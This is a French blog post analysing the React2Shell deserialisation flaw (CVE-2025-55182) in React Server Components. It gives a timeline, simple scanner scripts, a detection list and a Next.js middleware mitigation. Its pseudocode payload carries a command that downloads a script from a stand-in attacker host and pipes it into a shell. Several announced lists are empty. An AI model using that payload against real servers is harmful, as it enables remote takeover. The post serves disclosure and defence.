
Par Lachlan Davidson
Dernière mise à jour : 4 décembre 2025
Au cours des dernières années, l’adoption de React et de ses frameworks associés a explosé, motorisant aussi bien de petits projets web que des applications d’entreprise à grande échelle. Cette popularité croissante s’accompagne d’une hausse des préoccupations en matière de sécurité, notamment lorsque des vulnérabilités touchent des composants critiques de l’écosystème.
Le 29 novembre 2025, j’ai divulgué de manière responsable à l’équipe Meta une faille dévastatrice : React2Shell (CVE-2025-55182). Cette vulnérabilité, qui affecte les implémentations côté serveur de React — et plus particulièrement le protocole « Flight » des React Server Components (RSC) — a été corrigée par les équipes React et Vercel le 3 décembre 2025. Cet article propose une analyse détaillée de la faille, de ses subtilités techniques à son exploitation réelle, ainsi qu’un ensemble de bonnes pratiques de détection et de mitigation.
Dans ce billet, vous trouverez :
Que vous soyez professionnel de la sécurité, développeur souhaitant comprendre les risques ou simple passionné des technologies web modernes, ce billet vous guidera des concepts fondamentaux aux techniques d’exploitation avancées et aux défenses proactives.
Comprendre la chronologie est essentiel pour évaluer la gestion du risque et la rapidité de la réponse :
Un CVE supplémentaire, CVE-2025-66478, a été attribué à Next.js car React y est intégré (« vendored »). Bien qu’il s’agisse d’un doublon technique de CVE-2025-55182, ce nouvel identifiant aide les équipes à suivre plus finement leurs dépendances.
React2Shell est une vulnérabilité critique (CVE-2025-55182) affectant l’environnement des React Server Components via le protocole « Flight ». Elle permet une exécution de code distante (RCE) non authentifiée côté serveur à cause d’une désérialisation non sécurisée dans le paquet react-server.
Principales caractéristiques :
create-next-app, par exemple, sont exposées si aucun durcissement n’est appliqué.La faille provient du traitement des charges utiles RSC : la désérialisation ne valide pas correctement la structure des données entrantes. Un attaquant peut fournir un payload malveillant qui, une fois désérialisé, entraîne l’exécution de code arbitraire.
Flux simplifié :
Next.js embarque React comme dépendance interne ; les scanners qui ne lisent que le package.json peuvent passer à côté. D’où l’attribution du CVE-2025-66478 pour alerter spécifiquement les utilisateurs de Next.js.
La désérialisation consiste à convertir des données (JSON, binaire, etc.) en objets exécutables. Si la validation est insuffisante, un attaquant peut injecter du code malveillant exécuté lors de la conversion.
Flight optimise l’échange de données entre client et serveur pour RSC. Le manque de validation dans react-server a ouvert une brèche :
Un attaquant a :
Wiz Research :
#!/bin/bash
# Scanner simple React2Shell (CVE-2025-55182)
TARGET="<url_cible>"
PAYLOAD='{"malicious":"payload"}'
echo "Scan de $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "[!] Vulnérabilité potentielle détectée sur $TARGET"
else
echo "[−] Aucun signe évident sur $TARGET (analyse approfondie recommandée)."
fi
import requests, json, sys
def scan(url):
headers = {"Content-Type": "application/json"}
payload = {"test": "data", "action": "simulate_deserialization"}
print(f"Scan de {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] {url} semble vulnérable")
else:
print(f"[-] Pas d'indication immédiate sur {url}")
except requests.RequestException as e:
print(f"[!] Erreur sur {url}: {e}")
for target in sys.argv[1:]:
scan(target)
// Pseudocode – payload malveillant
const payload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { ts: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(payload));
Disclaimer : code fourni à titre éducatif uniquement.
Des scanners peuvent signaler les fonctions :
vm#runInThisContextchild_process#execfs#writeFileLeur simple présence n’implique pas React2Shell. Concentrez-vous sur :
react-server-dom* 19.0.1 / 19.1.2 / 19.2.1, etc.// Middleware Next.js – validation supplémentaire
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Payload invalide', { status: 400 });
}
} catch {
return new NextResponse('Erreur traitement requête', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) rappelle que même les frameworks les plus populaires ne sont pas à l’abri de failles critiques :
En maîtrisant les aspects techniques de React2Shell et le contexte menace, développeurs et équipes sécurité peuvent mieux protéger leurs applications.
Ce guide complet devrait vous donner les connaissances et les outils nécessaires pour traiter React2Shell dans son intégralité, de la compréhension technique à la détection et à la mitigation pratiques. Restez à jour des avis officiels et améliorez en continu votre posture de sécurité.
Bon codage… en toute sécurité !
Si vous avez trouvé ce contenu utile, imaginez ce que vous pourriez accomplir avec notre programme de formation élite complet de 47 semaines. Rejoignez plus de 1 200 étudiants qui ont transformé leur carrière grâce aux techniques de l'Unité 8200.